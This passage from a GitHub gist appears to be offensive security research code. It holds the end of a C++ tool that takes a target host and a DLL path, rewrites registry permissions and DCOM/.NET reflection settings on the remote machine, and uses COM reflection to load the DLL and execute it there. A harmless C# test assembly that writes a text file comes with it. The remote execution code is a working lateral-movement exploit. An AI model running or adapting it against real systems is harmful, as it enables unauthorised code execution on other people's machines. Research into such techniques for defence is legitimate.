| hr = type2->get_BaseType(&baseType); | |
| hr = baseType->get_BaseType(&type3); | |
| getTypeMethod = GetStaticMethod(type3, L"GetType", 1); | |
| printf("[*] GetTypeMethod Address: %p\n", (void*)getTypeMethod.GetInterfacePtr()); | |
| std::vector<variant_t> getTypeArgs; | |
| getTypeArgs.push_back(L"System.Reflection.Assembly, mscorlib"); | |
| type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs); | |
| if (type) { | |
| printf("[+] Got Assembly type\n"); | |
| loadMethod = GetStaticMethod(type, L"Load", 1); | |
| if (loadMethod) { | |
| printf("[+] Got Load method\n"); | |
| SIZE_T size = 0; | |
| PBYTE bytes = readFileToBytes(assemblyPath, &size); | |
| variant_t obj = { 0 }; | |
| // Parent array -- object[] {} | |
| SAFEARRAY* psa; | |
| SAFEARRAYBOUND rgsabound[1]; | |
| rgsabound[0].lLbound = 0; | |
| rgsabound[0].cElements = 1; | |
| psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); | |
| // Byte array -- byte[] {} | |
| SAFEARRAY* _psa; | |
| SAFEARRAYBOUND _rgsabound[1]; | |
| _rgsabound[0].lLbound = 0; | |
| _rgsabound[0].cElements = size; | |
| _psa = SafeArrayCreate(VT_UI1, 1, _rgsabound); | |
| PVOID pvData = NULL; | |
| hr = SafeArrayAccessData(_psa, &pvData); | |
| memcpy(pvData, bytes, size); | |
| hr = SafeArrayUnaccessData(_psa); | |
| pvData = NULL; | |
| // Fill in the parent array -- object[] { byte[] {} } | |
| LONG index = 0; | |
| VARIANT var; | |
| VariantInit(&var); | |
| var.vt = VT_ARRAY | VT_UI1; | |
| var.parray = _psa; | |
| SafeArrayPutElement(psa, &index, &var); | |
| VARIANT vtRet; | |
| VariantInit(&vtRet); | |
| hr = loadMethod->Invoke_3(obj, psa, &vtRet); // CLR v4 signature | |
| printf("Load -- Invoke_3: 0x%x, ret:0x%x\n", hr, vtRet.punkVal); | |
| mscorlib::_AssemblyPtr result = vtRet.punkVal; | |
| VariantClear(&var); | |
| VariantClear(&vtRet); | |
| SafeArrayDestroy(psa); | |
| if (result) { | |
| printf("[+] Assembly loaded successfully\n"); | |
| mscorlib::_MethodInfoPtr entryPoint; | |
| hr = ((mscorlib::_AssemblyPtr)result)->get_EntryPoint(&entryPoint); | |
| if (SUCCEEDED(hr) && entryPoint) { | |
| printf("[+] Got entry point\n"); | |
| SAFEARRAYBOUND bounds = { 1, 0 }; | |
| SAFEARRAY* psaStrings = SafeArrayCreate(VT_BSTR, 1, &bounds); | |
| if (psaStrings) { | |
| LONG index = 0; | |
| BSTR arg = SysAllocString(L""); | |
| hr = SafeArrayPutElement(psaStrings, &index, arg); | |
| SysFreeString(arg); | |
| VARIANT vArgs; | |
| VariantInit(&vArgs); | |
| V_VT(&vArgs) = VT_ARRAY | VT_BSTR; | |
| V_ARRAY(&vArgs) = psaStrings; | |
| std::vector<variant_t> mainArgs; | |
| mainArgs.push_back(vArgs); | |
| printf("[*] Invoking Main with args...\n"); | |
| variant_t mainResult = ExecuteMethod<variant_t>(entryPoint, mainArgs, &hr); | |
| printf("[+] Main executed successfully\n"); | |
| SafeArrayDestroy(psaStrings); | |
| } | |
| } | |
| else { | |
| printf("[-] Failed to get entry point: 0x%08lX\n", hr); | |
| } | |
| } | |
| else { | |
| printf("[-] Load failed: 0x%x\n", result); | |
| } | |
| } | |
| } | |
| if (og.AllowDCOMReflection) { | |
| free(og.AllowDCOMReflection); | |
| } | |
| if (og.OnlyUseLatestCLR) { | |
| free(og.OnlyUseLatestCLR); | |
| } | |
| if (og.StandardFontTreatAs) { | |
| free(og.StandardFontTreatAs); | |
| } | |
| CoUninitialize(); | |
| return 0; | |
| } | |
| catch (HRESULT hr) { | |
| printf("[-] COM error occurred: 0x%08lX\n", hr); | |
| return 1; | |
| } | |
| catch (...) { | |
| printf("[-] Unknown error occurred\n"); | |
| return 1; | |
| } | |
| } | |
| // --- main() stub: Accepts [target-host] [C:\path\to\payload.dll] --- | |
| int main(INT argc, PCHAR argv[]) { | |
| if (argc != 3) { | |
| printf("Usage: imapi2fs-com-stdfont-reflection.exe [target-host] [c:\\path\\to\\assembly.dll] \n"); | |
| return 1; | |
| } | |
| LPSTR target = argv[1]; | |
| LPSTR assemblyPath = argv[2]; | |
| ACL_INFO sids = { 0 }; | |
| EnableRemoteRegistry = TRUE; | |
| og = { 0 }; | |
| SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; | |
| PSID adminSid = NULL; | |
| PSID trustedInstallerSid = NULL; | |
| if (!AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminSid)) { | |
| printf("[-] AllocateAndInitializeSid() failed for Administrators: %d\n", GetLastError()); | |
| return 1; | |
| } | |
| if (!AllocateAndInitializeSid(&ntAuthority, SECURITY_SERVICE_ID_RID_COUNT, SECURITY_SERVICE_ID_BASE_RID, | |
| SECURITY_TRUSTED_INSTALLER_RID1, SECURITY_TRUSTED_INSTALLER_RID2, | |
| SECURITY_TRUSTED_INSTALLER_RID3, SECURITY_TRUSTED_INSTALLER_RID4, | |
| SECURITY_TRUSTED_INSTALLER_RID5, 0, 0, &trustedInstallerSid)) { | |
| printf("[-] AllocateAndInitializeSid() failed for TrustedInstaller: %d\n", GetLastError()); | |
| return 1; | |
| } | |
| sids.AdminSid = adminSid; | |
| sids.NtAuthority = &ntAuthority; | |
| sids.TrustedInstallerSid = trustedInstallerSid; | |
| if (DoRegistry_RPC(target, FALSE, &sids)) { | |
| return 1; | |
| } | |
| Execute(target, assemblyPath); | |
| if (DoRegistry_RPC(target, TRUE, &sids)) { | |
| return 1; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System.IO; | |
| namespace tester | |
| { | |
| internal class Program | |
| { | |
| static void Main(string[] args) | |
| { | |
| File.WriteAllText(@"C:\test.txt", "Hello, world"); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment